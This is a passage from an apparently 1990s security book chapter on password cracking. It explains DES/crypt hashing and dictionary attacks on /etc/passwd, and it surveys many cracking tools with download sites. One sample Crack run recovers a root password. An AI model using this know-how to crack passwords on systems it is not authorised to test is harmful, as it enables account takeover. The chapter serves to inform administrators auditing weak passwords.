forth in Federal Information Processing Standards \nPublication 74, Guidelines for Implementing and Using the NBS Data Encryption \nStandard: \nBecause of the unavailability of general cryptographic technology outside the national security \narena, and because security provisions, including encryption, were needed in unclassified \napplications involving Federal Government computer systems, NBS initiated a computer security \nprogram in 1973 which included the development of a standard for computer data encryption. \nSince Federal standards impact on the private sector, NBS solicited the interest and cooperation of \nindustry and user communities in this work. \nInformation about the original mechanical development of DES is scarce. Reportedly, at \nthe request of the National Security Agency, IBM caused certain documents to be \nclassified. (They will likely remain so for some years to come.) However, the source code \nfor Crypt(3) (the currently implementation of DES in UNIX) is widely available. This is \nsignificant, because in all the years that source has been available for Crypt, no one has \nyet found a way to easily reverse-encode information encrypted with it. \n \nTIP: Want to try your luck at cracking Crypt? Get the source! It comes with the standard \nGNU distribution of C libraries, which can be found at \nftp://gatekeeper.dec.com/glibc-1.09.1.tar.gz. (Please note that if \nyou are not on U.S. soil or within U.S. jurisdiction, you must download the source for \nCrypt from a site outside the United States. The site usually given for this is \nftp://ftp.uni-c.dk./glibc-1.09-crypt.tar.z. \n \nCertain implementations of Crypt work differently. In general, however, the process is as \nfollows: \n" }, { "page_number": 173, "text": " \n \n1. Your password is taken in plain text (or, in cryptographic jargon, clear text). \n \n2. Your password is then utilized as a key to encrypt a series of zeros (64 in all). The resulting \nencoded text is thereafter referred to as cipher text, the unreadable material that results after plain \ntext has been encrypted. \nCertain versions of Crypt, notably Crypt(3), take additional steps. For example, after \ngoing through this process, it encrypts the already encrypted text, again using your \npassword as a key. This a fairly strong method of encryption; it is extremely difficult to \nbreak. \nIn brief, DES takes submitted data and encodes it using a one-way operation sometimes \nreferred to as a hash. This operation is special from a mathematical point of view for one \nreason: While it is relatively simple to encode data this way, decoding it is \ncomputationally complex and resource intensive. It is estimated, for example, that the \nsame password can be encoded in 4,096 different ways. The average user, without any \nknowledge of the system, could probably spend his or her entire life attempting to crack \nDES and never be successful. To get that in proper perspective, examine an estimate from \nthe National Institute of Standards and Technology: \nThe cryptographic algorithm [DES] transforms a 64-bit binary value into a unique 64-bit binary \nvalue based on a 56-bit variable. If the complete 64-bit input is used (i.e., none of the input bits \nshould be predetermined from block to block) and if the 56-bit variable is randomly chosen, no \ntechnique other than trying all possible keys using known input and output for the DES will \nguarantee finding the chosen key. As there are over 70,000,000,000,000,000 (seventy quadrillion) \npossible keys of 56 bits, the feasibility of deriving a particular key in this way is extremely \nunlikely in typical threat environments.4 \n \n4NIST, December 30, 1993. \"Data Encryption Standard (DES),\" Federal Information \nProcessing Standards Publication 46-2. \nhttp://csrc.nist.gov/fips/fips46-2.txt. \n \nOne would think that DES is entirely infallible. It isn't. Although the information cannot \nbe reverse-encoded, passwords encrypted via DES can be revealed through a comparative \nprocess. The process works as follows: \n1. You obtain a dictionary file, which is really no more than a flat file (plain text) list of words \n(these are commonly referred to as wordlists). \n \n2. These words are fed through any number of programs that encrypt each word. Such encryption \nconforms to the DES standard. \n \n3. Each resulting encrypted word is compared with the target password. If a match occurs, there is \nbetter than a 90 percent chance that the password was cracked. \nThis in itself is amazing; nevertheless, password-cracking programs made for this \npurpose are even more amazing than they initially appear. For example, such cracking \nprograms often subject each word to a list of rules. A rule could be anything, any manner \nin which a word might appear. Typical rules might include \n \nAlternate upper- and lowercase lettering. \n \nSpell the word forward and then backward, and then fuse the two \nresults (for example: cannac). \n \nAdd the number 1 to the beginning and/or end of each word. \n" }, { "page_number": 174, "text": " \n \nNaturally, the more rules one applies to the words, the longer the cracking process takes. \nHowever, more rules also guarantee a higher likelihood of success. This is so for a \nnumber of reasons: \n \nThe UNIX file system is case sensitive (WORKSTATION is \ninterpreted differently than Workstation or workstation). That alone \nmakes a UNIX password infinitely more complex to crack than a password \ngenerated on a DOS/Windows \nmachine. \n \nAlternating letters and numbers in passwords is a common \npractice by those aware of security issues. When cracking passwords from \nsuch a source, many rules should be applied. \nThe emergence of such programs has greatly altered the security of the Internet. The \nreasons can be easily understood by anyone. One reason is because such tools are \neffective: \nCrypt uses the resistance of DES to known plain text attack and make it computationally \nunfeasible to determine the original password that produced a given encrypted password by \nexhaustive search. The only publicly known technique that may reveal certain passwords is \npassword guessing: passing large wordlists through the crypt function to see if any match the \nencrypted password entries in an /etc/passwd file. Our experience is that this type of attack is \nsuccessful unless explicit steps are taken to thwart it. Generally we find 30 percent of the \npasswords on previously unsecured systems.5 \n \n5David Feldmeier and Philip R. Karn. UNIX Password Security--Ten Years Later. \n(Bellcore). \n \nAnother reason is that the passwords on many systems remain available. In other words, \nfor many years, the task of the cracker was nearly over if he or she could obtain that \n/etc/passwd file. When in possession of the encrypted passwords, a suitably powerful \nmachine, and a cracking program, the cracker was ready to crack (provided, of course, \nthat he or she had good wordlists). \nWordlists are generally constructed with one word per line, in plain text, and using no \ncarriage returns. They average at about 1MB each (although one could feasibly create a \nwordlist some 20MB in size). As you may have guessed, many wordlists are available on \nthe Internet; these come in a wide variety of languages (thus, an American cracker can \ncrack an Italian machine and vice versa). \n \nCross Reference: There are a few popular depositories for wordlists. These collections \ncontain every imaginable type of wordlist. Some are simply dictionaries and others \ncontain hyphenated words, upper and lower case, and so on. One exceptionally good \nsource is at http://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html. \nHowever, perhaps the most definitive collection is available at the COAST project at \nPurdue. Its page is located at http://www.cs.purdue.edu/coast/. \n \nThe Password-Cracking Process \nBefore I get even more specific, I want to graphically illustrate the password-cracking \nprocess (see Figure 10.4). \n" }, { "page_number": 175, "text": " \n \nThe graphical representation in Figure 10.4 will serve you well. I want to explain a bit \nabout each portion of the process. First, I should briefly cover the hardware issues. \nHardware Issues \nAs noted in Figure 10.4, a 66MHz machine or higher is typical. Indeed, it is a basic \nrequirement. Without delving deep into an argument for this or that processor (or this or \nthat platform), I should at least state this: In actual practice, cracking a large password \nfile is a CPU- and memory-intensive task. It can often take days. Whether you are a \nhobbyist, cracker, or system administrator, you would be well advised to take note of this \npoint. Before actually cracking a large password file, you might want to inventory your \nequipment and resources. \nI have found that to perform a successful (and comfortable) crack of a large password \nfile, one should have 66MHz of processing power and 32MB of RAM (or better). It can \nbe done with less, even a 25MHz processor and 8MB of RAM. However, if you use a \nmachine so configured, you cannot expect to use it for any other tasks. (At least, this is \ntrue of any IBM AT compatible. I have seen this done on a Sun SPARCstation 1 and the \nuser was still able to run other processes, even in OpenWindows.) \nFIGURE 10.4. \nThe process of cracking, graphically illustrated. \nEqually, there are techniques for overcoming this problem. One is the parlor trick of \ndistributed cracking. Distributed cracking is where the cracker runs the cracking program \nin parallel, on separate processors. There are a few ways to do this. One is to break the \npassword file into pieces and crack those pieces on separate machines. In this way, the \njob is distributed among a series of workstations, thus cutting resource drain and the time \nit takes to crack the entire file. \nThe problem with distributed cracking is that it makes a lot of noise. Remember the \nRandal Schwartz case? Mr. Schwartz probably would never have been discovered if he \nwere not distributing the CPU load. Another system administrator noticed the heavy \nprocessor power being eaten. (He also noted that one process had been running for more \nthan a day.) Thus, distributed cracking really isn't viable for crackers unless they are the \nadministrator of a site or they have a network at home (which is not so unusual these \ndays; I have a network at home that consists of Windows 95, Windows NT, Linux, Sun, \nand Novell boxes). \nThe Mechanics of Password Cracking \nIn any event, as Figure 10.4 shows, the wordlist is sent through the encryption process, \ngenerally one word at a time. Rules are applied to the word and, after each such \napplication, the word is again compared to the target password (which is also encrypted). \nIf no match occurs, the next word is sent through the process. \nSome password crackers perform this task differently. Some take the entire list of words, \napply a rule, and from this derive their next list. This list is then encrypted and matched \n" }, { "page_number": 176, "text": " \n \nagainst the target password. The difference is not academic. The second technique is \nprobably much faster. \nIn the final stage, if a match occurs, the password is then deemed cracked. The plain-text \nword is then piped to a file (recorded in a plain-text file for later examination). \nIt is of some significance that the majority of password cracking utilities are not user \nfriendly. In fact, when executed, some of them forward nothing more than a cryptic \nmessage, such as \nFile? \nMost also do not have extensive documentation with them. There are a few reasons for \nthis phenomenon: \n• \nThere is very little left to say. The program cracks passwords and does nothing more. \n• \nThe majority are authored by crackers from the underground. Thus, the programs were developed \non the fly, and these individuals have little time to generate complex help files and tutorials. It is \nassumed that when you unpack such a tool, you know what you are doing. (The exceptions to this \nrule are, of course, those cracking utilities that are written by bona fide security professionals. \nThese usually include release notes, explaining pitfalls, bugs, and possible solutions. Some even \ncome with a few sample wordlists. These generally consist of several hundred words and proper \nnames.) \nThe Password Crackers \nThe remainder of this chapter is devoted to individual password crackers. Some are made \nfor cracking UNIX passwd files, and some are not. Some of the tools here are not even \npassword crackers; instead, they are auxiliary utilities that can be used in conjunction \nwith (or for the improvement of) existing password crackers. \nCrack by Alec Muffett \nCrack is probably the most celebrated tool for cracking encrypted UNIX passwords. It is \nnow the industry standard for checking networks for characteristically weak passwords. It \nwas written by Alec D. E. Muffet, a UNIX software engineer in Wales. In the docs \nprovided with the distribution, Mr. Muffett concisely articulates the program's purpose: \nCrack is a freely available program designed to find standard UNIX eight-character DES \nencrypted passwords by standard guessing techniques...It is written to be flexible, configurable \nand fast, and to be able to make use of several networked hosts via the Berkeley rsh program (or \nsimilar), where possible. \nCrack is for use on UNIX platforms only. It comes as a tarred, g'zipped file and is \navailable at so many sites, I will refrain from listing them here (use the search string \ncrack-4.1.tar.gz or crack-4.1.tar.Z). After downloaded to the local disk, it is \nunzipped and untarred into a suitable directory (I prefer putting it into the /root/ \ndirectory tree). After you finish that process, your directory (Crack-4.1) will look \nsimilar to the one shown in Figure 10.5. \n" }, { "page_number": 177, "text": " \n \nFIGURE 10.5. \nThe Crack directory structure. \nTo get up and running, you need only set the root directory for Crack (this is the \ndirectory beneath which all the Crack resources can be found). This value is assigned to a \nvariable (Crack_Home) in the configuration files. This is merely an environment variable \nthat, when set, tells the Crack program where the remaining resources reside. To set this \nvariable, edit the file Crack, which is a /bin/sh script that starts up the Crack engine. \nAfter editing this file, you can begin. This file, which consists of plain-text commands, \ncode, and variables, can be edited in any text editor or word processor. However, it must \nbe saved to plain text. \n \nNOTE: You may or may not need to quickly acquire a wordlist. As it happens, many \ndistributions of Crack are accompanied by sample wordlist (or dictionary) files. Your \nmileage may vary in this respect. I would suggest getting your copy of Crack from \nestablished (as opposed to underground) sites. This will make it more likely that you will \nget a sample wordlist (although to do any serious password cracking, you will need to \nacquire bigger and more suitable wordlists). \n \nYou initiate a Crack session by calling the program and providing the name of a \npassword file and any command-line arguments, including specifications for using \nmultiple workstations and such. If you refer to the Xterm snapshot in Figure 10.5, you \nwill see a file there named my_password_file. This is a sample passwd file that I \ncracked to generate an example. To crack that file, I issued the following command: \nCrack my_password_file \nCrack started the process and wrote the progress of the operation to files with an out \nprefix. In this case, the file was called outSamsHack300. Following is an excerpt from \nthat file; examine it closely. \npwc: Jan 30 19:26:49 Crack v4.1f: The Password Cracker, (c) Alec D.E. \nMuffett, 1992 \npwc: Jan 30 19:26:49 Loading Data, host=SamsHack pid=300 \npwc: Jan 30 19:26:49 Loaded 2 password entries with 2 different (salts: \n100% \npwc: Jan 30 19:26:49 Loaded 240 rules from `Scripts/dicts.rules'. \npwc: Jan 30 19:26:49 Loaded 74 rules from `Scripts/gecos.rules'. \npwc: Jan 30 19:26:49 Starting pass 1 - password information \npwc: Jan 30 19:26:49 FeedBack: 0 users done, 2 users left to crack. \npwc: Jan 30 19:26:49 Starting pass 2 - dictionary words \npwc: Jan 30 19:26:49 Applying rule `!?Al' to file `Dicts/bigdict' \npwc: Jan 30 19:26:50 Rejected 12492 words on loading, 89160 words (left \nto sort \npwc: Jan 30 19:26:51 Sort discarded 947 words; FINAL DICTIONARY (SIZE: \n88213 \npwc: Jan 30 19:27:41 Guessed ROOT PASSWORD root (/bin/bash (in \nmy_password_file) [laura] EYFu7c842Bcus \npwc: Jan 30 19:27:41 Closing feedback file. \nAs you can see, Crack guessed the correct password for root. This process took just \nunder a minute. Line 1 reveals the time at which the process was initiated (Jan 30 \n" }, { "page_number": 178, "text": " \n \n19:26:49); line 12 reveals that the password--Laura--was cracked at 19:27:41. This was \ndone using a 133MHz processor and 32MB of RAM. \nBecause the password file I used was so small, neither time nor resources was an issue. In \npractice, however, if you are cracking a file with hundreds of entries, Crack will eat \nresources voraciously. This is especially so if you are using multiple wordlists that are in \ncompressed form. (Crack will actually identify these as compressed files and will \nuncompress them.) \nAs mentioned earlier, Crack can distribute the work to different workstations on a UNIX \nnetwork. Even more extraordinary than this, the machines can be of different \narchitectures. Thus, you might have an IBM-compatible running Linux, a RS/6000 \nrunning AIX, and a Macintosh running A/UX. \nCrack is extremely lightweight and is probably the most reliable password cracker \navailable. \n \nTIP: To perform a networked cracking session, you must build a network.conf file. \nThis is used by the program to identify which hosts to network, their architecture, and \nother key variables. One can also specify command-line options that are invoked as \nCrack is unleashed on each machine. In other words, each machine may be running Crack \nand using different command-line options. This can be conveniently managed from one \nmachine. \n \n \nCross Reference: Macintosh users can also enjoy the speed and efficiency of Crack by \nusing the most recent port of it, called MacKrack v2.01b1. It is available at \nhttp://www.borg.com/~docrain/mac-hack.html. \n \nCrackerJack by Jackal \nCrackerJack is a renowned UNIX password cracker designed expressly for the DOS \nplatform. Contrary to popular notions, CrackerJack is not a straight port of Crack (not \neven close). Nevertheless, CrackerJack is an extremely fast and easy-to-use cracking \nutility. For several years, CrackerJack has been the choice for DOS users; although many \nother cracker utilities have cropped up, CrackerJack remains quite popular (it's a cult \nthing). Later versions were reportedly compiled using GNU C and C++. CrackerJack's \nauthor reports that through this recompiling process, the program gained noticeable \nspeed. \n \nTIP: CrackerJack also now works on the OS/2 platform. \n \nThe are some noticeable drawbacks to CrackerJack, including \n• \nUsers can only specify one dictionary file at a time. \n• \nMemory-allocation conventions prevent CrackerJack from running in Windows 95. \n" }, { "page_number": 179, "text": " \n \nDespite these snags, CrackerJack is reliable and, for moderate tasks, requires only limited \nresources. It takes sparse processor power, doesn't require a windowed environment, and \ncan run from a floppy. \n \nCross Reference: CrackerJack is widely available, although not as widely as one would \nexpect. Here are a few reliable sites: \n• \nhttp://www.fc.net/phrack/under/misc.html \n• \nhttp://www.ilf.net/~toast/files/ \n• \nhttp://www.paranoia.com/~steppin/misc.html \n• \nhttp://www.interware.net/~jcooper/cracks.htm \n• \nhttp://globalkos.org/files.html \n \nPaceCrack95 (pacemkr@bluemoon.net) \nPaceCrack95 is designed to work on the Windows 95 platform in console mode, in a shell \nwindow. Its author reports that PaceCrack95 was prompted by deficiencies in other DOS-\nbased crackers. He writes: \nWell you might be wondering why I have written a program like this when there already is [sic] \nmany out there that do the same thing. There are many reasons, I wanted to challenge myself and \nthis was a useful way to do it. Also there was this guy (Borris) that kept bugging me to make this \nfor him because Cracker Jack (By Jackal) doesn't run in Win95/NT because of the weird way it \nuses the memory. What was needed was a program that runs in Win95 and the speed of the \ncracking was up there with Cracker Jack. \nTo the author's credit, he created a program that does just that. It is fast, compact, and \nefficient. Unfortunately, however, PaceCrack95 is a new development not yet widely \navailable (I believe it was distributed in July 1996). \n \nCross Reference: There is a shortage of reliable sites from which to retrieve \nPaceCrack95, but it can be found at \nhttp://tms.netrom.com/~cassidy/crack.htm. \n \nQcrack by the Crypt Keeper \nQcrack was originally designed for use on the Linux platform. It has recently been ported \nto the MS-DOS/Windows platform (reportedly sometime in July 1996). Qcrack is \ntherefore among the newest wave of password crackers that have cropped up in the last \nyear or so. This has increased the number of choices in the void. This utility is extremely \nfast, but there are some major drawbacks. One relates to storage. As the author, the Crypt \nKeeper, explains: \nQInit [one of several binaries in the distribution] generates a hash table where each entry \ncorresponds to a salt value and contains the first two bytes of the hash. Each password becomes \nabout 4KB worth of data, so this file gets large quickly. A file with 5000 words can be expected to \n" }, { "page_number": 180, "text": " \n \nbe 20MB of disk. This makes it important to have both a lot of disk space, and a very select \ndictionary. Included, a file called cpw is a list containing what I consider to be \"good\" words for \nthe typical account. I have had zero hits with this file on some password files, and I have also had \nalmost a 30 percent hit rate on others. \n \nNOTE: Note that Qcrack is a bit slower than some other utilities of this nature, but is \nprobably worth it. Parallelizing is possible, but not in the true sense. Basically, one can \nuse different machines and use different dictionaries (as Qcrack's author suggests). \nHowever, this is not the same form of parallelizing that can be implemented with \nMuffett's Crack. (Not to split hairs, but using Qcrack in this fashion will greatly speed up \nthe process of the crack.) \n \nJust one more interesting tidbit: The author of Qcrack, in a stroke of vision, suggested \nthat someone create a CD-ROM of nothing but wordlist dictionaries (granted, this would \nprobably be of less use to those with slow CD-ROMs; repeated access across drives could \nslow the system a bit). \n \nCross Reference: Qcrack can be found in the following places: \n• \nhttp://lix.polytechnique.fr/~delaunay/bookmarks/linux/\nqcrack.html \n• \nhttp://klon.ipr.nl/underground/underground.html \n• \nhttp://tms.netrom.com/~cassidy/crack.htm \n \nJohn the Ripper by Solar Designer \nJohn the Ripper is a relatively new UNIX password cracker that runs on the \nDOS/Windows 95 platform. The binary distribution suggests that the coding was finished \nin December 1996. Early distributions of this program were buggy. Those of you \nworking with less than 4MB of RAM might want to avoid this utility. Its author suggests \nthat the program can run with less than 4MB, but a lot of disk access will be going on. \n \nCross Reference: John the Ripper runs on Linux as well. The Linux version is currently \nin beta and is being distributed as an ELF binary. It can be found by searching for the \nstring john-linux.tar.zip. \n \nUndoubtedly, these early efforts were flawed because the author attempted to include so \nmany functions. Although John the Ripper may not yet be perfect, it is sizing up as quite \na program. It runs in DOS (or in Windows 95 via a shell window) and has extensive \noptions. Rather than list those here, I have provided a screenshot of the opening screen \nthat appears if you start John without any arguments (see Figure 10.6). \nFIGURE 10.6. \nThe John the Ripper opening screen. \n" }, { "page_number": 181, "text": " \n \nIn this respect, John incorporates many of the amenities and necessities of other, more \nestablished programs. I fully expect that within six months of this writing, John the \nRipper will be among the most popular cracking utilities. \n \nCross Reference: The DOS version of John the Ripper, which is relatively large in terms \nof password crackers, can be found at \nhttp://tms.netrom.com/~cassidy/crack.htm. \n \nPcrack (PerlCrack; Current Version Is 0.3) by Offspring and Naïve \nPcrack is a Perl script for use on the UNIX platform (this does not mean that Pcrack \ncouldn't be implemented on the NT platform; it simply means that some heavy-duty \nporting would be in order). This utility has its advantages because it is quite compact and, \nwhen loaded onto the interpreter, fast. Nonetheless, one must obviously have not only \nsome form of UNIX, but also access to Perl. As I have already pointed out, such utilities \nare best employed by someone with root access to a UNIX box. Many system \nadministrators have undertaken the practice of restricting Perl access these days. \n \nCross Reference: Pcrack is not widely available, but \nhttp://tms.netrom.com/~cassidy/crack.htm appears to be a reliable \nsource. \n \nHades by Remote and Zabkar (?) \nHades is yet another cracking utility that reveals UNIX /etc/passwd passwords. Or is it? \nHades is very fast, faster than Muffett's Crack and far faster than CrackerJack (at least in \ntests I have performed). \nThe distribution comes with some source code and manual pages, as well as an advisory, \nwhich I quote here: \nWe created the Hades Password Cracker to show that world-readable encrypted passwords in \n/etc/passwd are a major vulnerability of the UNIX operating system and its derivatives. This \nprogram can be used by system operators to discover weak passwords and disable them, in order \nto make the system more secure. \nWith the exception of Muffett's Crack, Hades is the most well-documented password \ncracker available. The authors have taken exceptional care to provide you with every \npossible amenity. The Hades distribution consists of a series of small utilities that, when \nemployed together, formulate a powerful cracking suite. For each such utility, a man \n(manual) page exists. The individual utilities included with the distribution perform the \nfollowing functions: \n• \nThe Merge utility merges two dictionaries (wordlists) into a third, the name of which is specified \nby you. \n• \nThe Optimize utility cleans dictionary (wordlists) files by formatting them; all duplicate entries \ncan be conveniently deleted and long words are truncated. \n" }, { "page_number": 182, "text": " \n \n• \nThe Hits utility archives all passwords cracked in a previous section, outputting the data to a user-\nspecified file. From this file, Hades can derive another dictionary. \n \nCross Reference: Hades is so widely available that I will refrain from giving a list of \nsites here. Users who wish to try out this well-crafted utility should search for one or both \nof the following search terms: \n• \nhades.zip \n• \nhades.arj \n \nStar Cracker by the Sorcerer \nStar Cracker was designed to work under the DOS4GW environment. Okay...this \nparticular utility is a bit of a curiosity. The author was extremely thorough, and although \nthe features he or she added are of great value and interest, one wonders when the author \ntakes out time to have fun. In any event, here are some of the more curious features: \n• \nFail-safe power outage provision--If there is a blackout in your city and your computer goes down, \nyour work is not lost. (Is that a kicker or what?) Upon reboot, Star Cracker recovers all the work \npreviously done (up until the point of the power outage) and keeps right on going. \n• \nTime-release operation--You can establish time windows when the program is to do its work. That \nmeans you could specify, \"Crack this file for 11 hours. When the 11 hours are up, wait 3 hours \nmore. After the 3 hours more, start again.\" \nTo UNIX users, this second amenity doesn't mean much. UNIX users have always had \nthe ability to time jobs. However, on the DOS platform, this capability has been varied \nand scarce (although there are utilities, such as tm, that can schedule jobs). \nMoreover, this cracking utility has a menu of options: functions that make the cracking \nprocess a lot easier. You've really got to see this one to believe it. A nicely done job. \n \nCross Reference: Star Cracker is available at \nhttp://citus.speednet.com.au/~ramms/. \n \nKiller Cracker by Doctor Dissector \nKiller Cracker is another fairly famous cracking engine. It is distributed almost always as \nsource code. The package compiles without event on a number of different operating \nsystems, although I would argue that it works best under UNIX. \n \nNOTE: Unless you obtain a binary release, you will need a C compiler. \n \nKiller Cracker has so many command-line options, it is difficult to know which ones to \nmention here. Nonetheless, here are a few highlights of this highly portable and efficient \ncracking tool: \n• \nManipulation of some rules at the command prompt, including case sensitivity. \n" }, { "page_number": 183, "text": " \n \n• \nCommand-line specification for method of operation, including in what order the words are tested \n(for example, test each word completely before moving on to the next). \n• \nUnder BSD, Killer Crack can be instructed to monopolize the processor altogether, forcing the \nmaximum amount of CPU power available for the crack. \n• \nThe program can check for nonprintable and control characters as possible keystrokes within the \ncurrent target password file. \nIn all, this program is quite complete. Perhaps that is why it remains so popular. It has \nbeen ported to the Macintosh operating system, it works on a DOS system, and it was \ndesigned under UNIX. It is portable and easily compiled. \n \nCross Reference: Killer Cracker can be obtained at these locations: \n• \nhttp://hack.box.sk/stuff/linux1/kc9.zip (DOS 16 bit) \n• \nhttp://hack.box.sk/stuff/linux1/kc9_32.zip (DOS 32 bit) \n• \nhttp://www.ilf.net/Toast/files/unix/kc9_11.tgz (UNIX) \n• \nhttp://www.netaxs.com/~hager/mac/hack/KillerCrackerv8.\nsit.bin (Mac) \n \nHellfire Cracker by the Racketeer and the Presence \nAnother grass-roots work, Hellfire Cracker is a utility for cracking UNIX password files \nusing the DOS platform. It was developed using the GNU compiler. This utility is quite \nfast, although not by virtue of the encryption engine. Its major drawback is that user-\nfriendly functions are practically nonexistent. Nevertheless, it makes up for this in speed \nand efficiency. \nOne amenity of Hellfire is that it is now distributed almost exclusively in binary form, \nwhich obviates the need for a C compiler. \n \nCross Reference: This utility can be found on many sites, but I have encountered \nproblems finding reliable ones. This one, however is reliable: \nhttp://www.ilf.net/~toast/files/. \n \nXIT by Roche'Crypt \nXIT is yet another UNIX /etc/passwd file cracker, but it is a good one. Distinguishing \ncharacteristics include \n• \nThe capability to recover from power failure or sudden reboot \n• \nFull C source code available for analysis \n" }, { "page_number": 184, "text": " \n \n• \nThe capability to provide up-to-the-second status reports \n• \nFull support for (get this!) 286 machines \n• \nThe capability to exploit the existence of a disk cache for speed and increased performance \nThe Claymore utility has been around for several years. However, it is not as widely \navailable as one would expect. It also comes in different compressed formats, although \nthe greater number are zipped. \n \nCross Reference: One reliable place to find XIT is \nhttp://www.ilf.net/~toast/files/xit20.zip. \n \nClaymore by the Grenadier \nThe Claymore utility is slightly different from its counterparts. It runs on any Windows \nplatform, including 95 and NT. \n \nNOTE: Claymore does not work in DOS or even a DOS shell window. \n \nFigure 10.7 shows Claymore's opening window. \nFIGURE 10.7. \nThe Claymore opening screen. \nThere is not a lot to this utility, but some amenities are worth mentioning. First, Claymore \ncan be used as a brute force cracker for many systems. It can be used to crack UNIX \n/etc/passwd files, but it can also be used to crack other types of programs (including \nthose requiring a login/password pair to get in). \nOne rather comical aspect of this brute force cracker is its overzealousness. According to \nthe author: \nKeep an eye on the computer. Claymore will keep entering passwords even after it has broken \nthrough. Also remember that many times a wrong password will make the computer beep so you \nmay want to silence the speaker. Sometimes Claymore will throw out key strokes faster than the \nother program can except them. In these cases tell Claymore to repeat a certain key stroke, that has \nno other function in the target program, over and over again so that Claymore is slowed down and \nthe attacked program has time to catch up. \nThis is what I would classify as a true, brute-force cracking utility! One interesting aspect \nis this: You can specify that the program send control and other nonprintable characters \nduring the crack. The structure of the syntax to do so suggests that Claymore was written \nin Microsoft Visual Basic. Moreover, one almost immediately draws the conclusion that \nthe VB function SendKeys plays a big part of this application. In any event, it works \nextremely well. \n \nCross Reference: Claymore is available at many locations on the Internet, but \nhttp://www.ilf.net/~toast/files/claym10.zip is almost guaranteed to \nbe available. \n" }, { "page_number": 185, "text": " \n \n \nGuess by Christian Beaumont \nGuess is a compact, simple application designed to attack UNIX /etc/passwd files. It is \npresented with style but not much pomp. The interface is designed for DOS, but will \nsuccessfully run through a DOS windowed shell. Of main interest is the source, which is \nincluded with the binary distribution. Guess was created sometime in 1991, it seems. For \nsome reason, it has not yet gained the notoriety of its counterparts; this is strange, for it \nworks well. \n \nCross Reference: Guess is available widely, so I will refrain from listing locations here. \nIt is easy enough to find; use the search string guess.zip. \n \nPC UNIX Password Cracker by Doctor Dissector \nI have included the PC UNIX Password Cracker utility (which runs on the DOS platform) \nprimarily for historical reasons. First, it was released sometime in 1990. As such, it \nincludes support not only for 386 and 286 machines, but for 8086 machines. (That's right. \nGot an old XT lying around the house? Put it to good use and crack some passwords!) I \nwon't dwell on this utility, but I will say this: The program is extremely well designed \nand has innumerable command-line options. Naturally, you will probably want something \na bit more up to date (perhaps other work of the good Doctor's) but if you really do have \nan old XT, this is for you. \n \nCross Reference: PC UNIX Cracker can be found at \nhttp://www.ilf.net/~toast/files/pwcrackers/pcupc201.zip. \n \nMerlin by Computer Incident Advisory Capability (CIAC) DOE \nMerlin is not a password cracker. Rather, it is a tool for managing password crackers as \nwell as scanners, audit tools, and other security-related utilities. In short, it is a fairly \nsophisticated tool for holistic management of the security process. Figure 10.8 shows \nMerlin's opening screen. \nMerlin is for UNIX platforms only. It has reportedly been tested (with positive results) on \na number of flavors, including but not limited to IRIX, Linux, SunOS, Solaris, and HP-\nUX. \nOne of the main attractions of Merlin is this: Although it has been specifically designed \nto support only five common security tools, it is highly extensible (it is written in Perl \nalmost exclusively). Thus, one could conceivably incorporate any number of tools into \nthe scheme of the program. \nMerlin is a wonderful tool for integrating a handful of command-line tools into a single, \neasily managed package. It addresses the fact that the majority of UNIX-based security \nprograms are based in the command-line interface (CLI). The five applications supported \nare \n" }, { "page_number": 186, "text": " \n \n• \nCOPS \n• \nTiger \n• \nCrack \n• \nTripWire \n• \nSPI (government contractors and agencies only) \nFIGURE 10.8. \nMerlin's opening screen. \nNote that Merlin does not supply any of these utilities in the distribution. Rather, you \nmust acquire these programs and then configure Merlin to work with them (similar to the \nway one configures external viewers and helpers in Netscape's Navigator). The concept \nmay seem lame, but the tool provides an easy, centralized point from which to perform \nsome fairly common (and grueling) security tasks. In other words, Merlin is more than a \nbogus front-end. In my opinion, it is a good contribution to the security trade. \n \nTIP: Those who are new to the UNIX platform may have to do a little hacking to get \nMerlin working. For example, Merlin relies on you to have correctly configured your \nbrowser to properly handle *.pl files (it goes without saying that Perl is one requisite). \nAlso, Merlin apparently runs an internal HTTP server and looks for connections from the \nlocal host. This means you must have your system properly configured for loopback. \n \nMerlin (and programs like it) are an important and increasing trend (a trend kicked off by \nFarmer and Venema). Because such programs are designed primarily in an HTML/Perl \nbase, they are highly portable to various platforms in the UNIX community. They also \ntend to take slim network resources and, after the code has been loaded into the \ninterpreter, they move pretty fast. Finally, these tools are easier to use, making security \nless of an insurmountable task. The data is right there and easily manipulated. This can \nonly help strengthen security and provide newbies with an education. \nOther Types of Password Crackers \nNow you'll venture into more exotic areas. Here you will find a wide variety of password \ncrackers for almost any type of system or application. \nZipCrack by Michael A. Quinlan \nZipCrack does just what you would think it would: It is designed to brute-force \npasswords that have been applied to files with a *.zip extension (in other words, it \ncracks the password on files generated with PKZIP). \nNo docs are included in the distribution (at least, not the few files that I have examined), \nbut I am not sure there is any need. The program is straightforward. You simply provide \nthe target file, and the program does the rest. \n" }, { "page_number": 187, "text": " \n \nThe program was written in Turbo Pascal, and the source code is included with the \ndistribution. ZipCrack will work on any IBM-compatible that is a 286 or higher. The file \ndescription reports that ZipCrack will crack all those passwords generated by PKZIP 2.0. \nThe author also warns that although short passwords can be obtained within a reasonable \nlength of time, long passwords can take \"centuries.\" Nevertheless, I sincerely doubt that \nmany individuals provide passwords longer than five characters. ZipCrack is a useful \nutility for the average toolbox; it's one of those utilities that you think you will never need \nand later, at 3:00 in the morning, you swear bitterly because you don't have it. \n \nCross Reference: ZipCrack is widely available; use the search string zipcrk10.zip. \n \nFast Zip 2.0 (Author Unknown) \nFast Zip 2.0 is, essentially, identical to ZipCrack. It cracks zipped passwords. \n \nCross Reference: To find Fast Zip 2.0, use the search string fzc101.zip. \n \nDecrypt by Gabriel Fineman \nAn obscure but nonetheless interesting utility, Decrypt breaks WordPerfect passwords. It \nis written in BASIC and works well. The program is not perfect, but it is successful a \ngood deal of the time. The author reports that Decrypt checks for passwords with keys \nfrom 1 through 23. The program was released in 1993 and is widely available. \n \nCross Reference: To find Decrypt, use the search string decrypt.zip. \n \nGlide (Author Unknown) \nThere is not a lot of documentation with the Glide utility. This program is used \nexclusively to crack PWL files, which are password files generated in Microsoft \nWindows for Workgroups and later versions of Windows. The lack of documentation, I \nthink, is forgivable. The C source is included with the distribution. For anyone who hacks \nor cracks Microsoft Windows boxes, this utility is a must. \n \nCross Reference: Glide is available at these locations: \n• \nhttp://www.iaehv.nl/users/rvdpeet/unrelate/glide.zip \n• \nhttp://hack.box.sk/stuff/glide.zip \n• \nhttp://www.ilf.net/~toast/files/pwcrackers/glide.zip \n \nAMI Decode (Author Unknown) \nThe AMI Decode utility is designed expressly to grab the CMOS password from any \nmachine using an 